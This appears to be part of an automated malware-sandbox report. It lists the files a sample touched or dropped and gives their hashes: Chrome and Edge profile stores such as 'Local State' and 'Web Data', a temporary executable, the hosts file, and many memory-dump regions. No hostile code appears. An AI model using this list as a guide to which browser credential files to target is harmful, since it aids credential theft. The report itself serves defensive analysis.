Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 232KB
SHA256 057d1db06760261f2c4d7d0c02a31ca49884a54b715141555887979cc6de0b89
MD5 30e97d8bfef1fe39ddbcf93cc406f809
SHA1 53992f23711796055835acfaca3f2a6cf3220e91
SHA512 df5758872dbb2f8770341fc90eb5f9786e3a260d299dcb888cf544a451715c5bf7bce99433f5fa296e077819a51c4d3f3538ffdaee0286b48f19d32ac99fbe6a
SSDEEP 3072:4/yPKUZDEk2L2DA40rvW0rXRifs28DFpmzNA9J+zfAsJDREge7oWg+95hn:VPKUREk2LuA40Cxstf+zfAk3Wbhn
TLSH
T107342302CDAECE9794BC957A60C53377ABA94E4B33F3B7010259E5102ACF7089359FA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7b9dac8593d827b7b825086ba5eeec776b808b8429eb90a6b645c319ec8f1435
MD5 c16a98ebe36bda7f5aece00f9ac1d0d0
SHA1 ef2e2a8775d1ebc0124f0ba983b6f20777919000
SHA512 148affd9dbe6aaee9070c22e41bc916df527cec5741753ca2733855f500e4eef0a257445d281d79c2449f8265c41b54dd53ffe57650802594b1211b0db611349
TLSH
T1ADD012273B0DA054E7A9C2729613C7921BB6646174434B01E315C95C99B54D412D6183
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c17dc8315075bb661bddf6b1efa879b9a3c39af13982f986bd287f5bc861cbdf
MD5 9573474710d1de6302a0d98890d2faae
SHA1 618b9f2079a97625be399f6137e46655659ecff9
SHA512 a345b915a4191d30d0da665ea4f78297c0cd671a5767e05c415403efb649110868fb279d22dc496792452c325e19b00f5e579f6e014a4488c9a4d6fac83d1c46
TLSH
T118D012273B0DB054E7A9C2729613C7921BB6646174434B01E315C95C99B54D412D6183
MD5 SHA1 SHA512 TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 d390cee64ff441974fe448015527c0d4307cf6b399b9021476c4e32984edb8b4
MD5 3ab012f279d36405fd8ecd49c34a5d59
SHA1 d10a2e0474b5d5a2d289e8ae33fcb5125c339299
SHA512 f4198f17b4b9dfe1a9603090a36949021d8e508d3af91e0ce55386ef146d18d6523743154363ee21246e099949c0a978007a1801d4bc10babff85fa9f656859b
TLSH
T1D1F0F9A6CC21AC3708FD1B1960A45746E75113672B914A4F3A3C920C8FB063B495586C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 22KB
SHA256 bb92cc16b9ba2b783517a526ccb72aaa82fe6add5359b792ef9f387bc7ce46c1
MD5 4de454b082f7392c4a350b1d1eee7618
SHA1 f24842e94f2a422d67100bd46acdb4576bf15722
SHA512 3b91c581f7edcfab4ab6cb9e586a3e957f54804bd2e3d74c9970af80fb589fee10e4080a24836e60d9c26b1285814c2b1fc5e599865d3e55ab5831f51bc35f52
SSDEEP 192:GD9R5VJhn/iVJnZFGVApBPisTE/3oNloNPSF53pVWFQ5xfSsD0PnY9JFlPtv0F5o:GZLVDJjEDPV0/Zds5h
TLSH
T177B25A1232BA02423C7D390C939687674A42F1633469EC7F7BA940B64E67E125DFD9CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 224KB
SHA256 914e58644917de5cb239e0e53f555f4f93a3e624244b38649932c8d342ff9f58
MD5 3577cbed5949c7e0af8a45a9b05260a2
SHA1 be9df75131c414f2259460a4778569332e18d16c
SHA512 4f27cc50758c3ce683e53f092e671ac72c2ee87487a1bbb3dc4502cbc538c8933f79ea7309b32aba44648b717ebc8277fe79f7a54905f5387bf963de84add8b5
SSDEEP 192:FvoWWu0fT8wRJQnGL11HLfzNSivuvTNN+u/egddCeyv/hVRdbsCEV:aPhfQ0JQn6lLfzAivuvBN+wtP2s
TLSH
T1AC24640A7B747001DDE7E9725CB080771A3CB16DCF22A6915DB264698DB2853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 b75702b224bb4db0ba9c9402c12f58e777a0ce47ccd544bfb1450099ca0110fb
MD5 22c500c647e451dc285d6fffbc269438
SHA1 bb7689f77d4a4e3d2939634e37fcc7725da6fc29
SHA512 dbc46f0032da87165f89430899dfe3578465937124b0b7cda1d536e65da8357d9d6fd87b938de855cdd859c068a0f7be3d819f5fdec9e6d77342ed60a4f9753c
SSDEEP 384:nDiF9CcmyWCs38Ns8TUNTUlIxBPm3ek32nn9BcQPs4JfbgG2DT+b1ZUFe4KV8p0J:uFccps3fwgPKekmEIsG2DCrUFI8p04U
TLSH
T163C25A36EC58C9FBECE64F89B74A6A06DEE01227869C89D8DAD85D1D00971DD130BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

53239400

Path C:\Users\Admin\AppData\Local\Temp\29db7093\53239400
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

60443a91.exe

Path C:\Users\Admin\AppData\Local\Temp\29db7093\60443a91.exe
Size 8.5MB
SHA256 7e68469380ba291feae93e4001c3be95814e1dfe007f501feb7a8601bb21a3e1
MD5 317db73cc0b06201d04d631268d0a7a0
SHA1 ff35a938f429361401fee87502b890b3e5c8fecd
SHA512 5d28f30ccea3538c303d60f4c1c3b49a4cb35d0616d9f0ba2af885076e31acd6b6e9fbb45d49f1261f22701206fe3076ebe096a8c8d79ad0f7feae48a005ec09
SSDEEP 196608:W/ow3I1xL1P2U983kPX++E8xL28Malbjv43t3CfjoJVpda6MTneshF4:XTLJ2/V+E8N1lb743tSUJzdaxHF
TLSH
T1F2963367B482AE58D74EED76CB38CE04D2DE3B26C16ADF4A792581334940E85C83ED1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_nn4rwwby.3p3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nn4rwwby.3p3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.EXE.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 171f35b73a8ca08a560a0f4b1563afdcd97446b83e220ceca2a437351d3a8512
MD5 68e251e95d037807807eff205771cb97
SHA1 9594e53e0b51694da95fb3ed32af82ef46242d45
SHA512 601e896d88e7960a624cda8a18c8c13562419728b6de80e9aeb92a075077768e8a2e5e4ff581b98dbbcc3b079857b020313d2a0b16496cc82bd02bd368b46539
TLSH
T1F2117A33B39CC1B4C8D9117A1089AD01B2B6C3DB449EDECB7A84C508E57F989DFA42E4
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 3KB
SHA256 eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
MD5 00930b40cba79465b7a38ed0449d1449
SHA1 4b25a89ee28b20ba162f23772ddaf017669092a5
SHA512 cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62
TLSH
T1E451521E460491EC22B1C199C46FAA1DE34EB0F705DBC9CD798DC7DE27B197822D32A6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1064-2258-0x0000015CFF7E0000-0x0000015CFF7EA000-memory.dmp

Download

memory/1064-2263-0x0000015CFF8E0000-0x0000015CFF8E6000-memory.dmp

Download

memory/1064-2261-0x0000015CFFD80000-0x0000015CFFD9A000-memory.dmp

Download

memory/1064-2256-0x0000015CFF7C0000-0x0000015CFF7DC000-memory.dmp

Download

memory/1064-2260-0x0000015CFF7F0000-0x0000015CFF7FA000-memory.dmp

Download

memory/1064-2264-0x0000015CFF910000-0x0000015CFF91A000-memory.dmp

Download

memory/1064-2259-0x0000015CFF8F0000-0x0000015CFF90C000-memory.dmp

Download

memory/1064-2248-0x0000015CFF730000-0x0000015CFF752000-memory.dmp

Download

memory/1064-2262-0x0000015CFF8D0000-0x0000015CFF8D8000-memory.dmp

Download

memory/1064-2257-0x0000015CFF810000-0x0000015CFF8C3000-memory.dmp

Download

memory/1548-2313-0x0000014739D90000-0x0000014739E43000-memory.dmp

Download

memory/2280-2302-0x0000012A18830000-0x0000012A1885A000-memory.dmp

Download

memory/4940-2242-0x00007FF6F8530000-0x00007FF6F94E6000-memory.dmp

Download

memory/4940-2277-0x00007FF6F8530000-0x00007FF6F94E6000-memory.dmp

Download

memory/4940-2235-0x00007FF6F8530000-0x00007FF6F94E6000-memory.dmp

Download

memory/5708-2281-0x00007FF63BC90000-0x00007FF63CC46000-memory.dmp

Download

memory/5708-3039-0x00007FF63BC90000-0x00007FF63CC46000-memory.dmp

Download

memory/6024-227-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-786-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-746-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-689-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-688-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-624-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-623-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-629-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-565-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-494-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-493-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-502-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-437-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-358-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-356-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-305-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-226-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-225-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-181-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-171-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-93-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-92-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-91-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-84-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-105-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-53-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-820-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-826-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-832-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-833-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-887-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-751-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-752-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-747-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-693-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-632-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-669-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-670-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-501-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-492-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-363-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-309-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-304-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-229-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-0-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-172-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-2240-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-150-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-96-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-80-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-77-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-16-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-15-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-14-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-13-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-12-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-11-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-10-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-9-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-8-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-7-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-6-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-5-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-3-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-4-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-2-0x0000000320000000-0x0000000320222000-memory.dmp

Download

memory/6024-1-0x0000000320000000-0x0000000320222000-memory.dmp

Download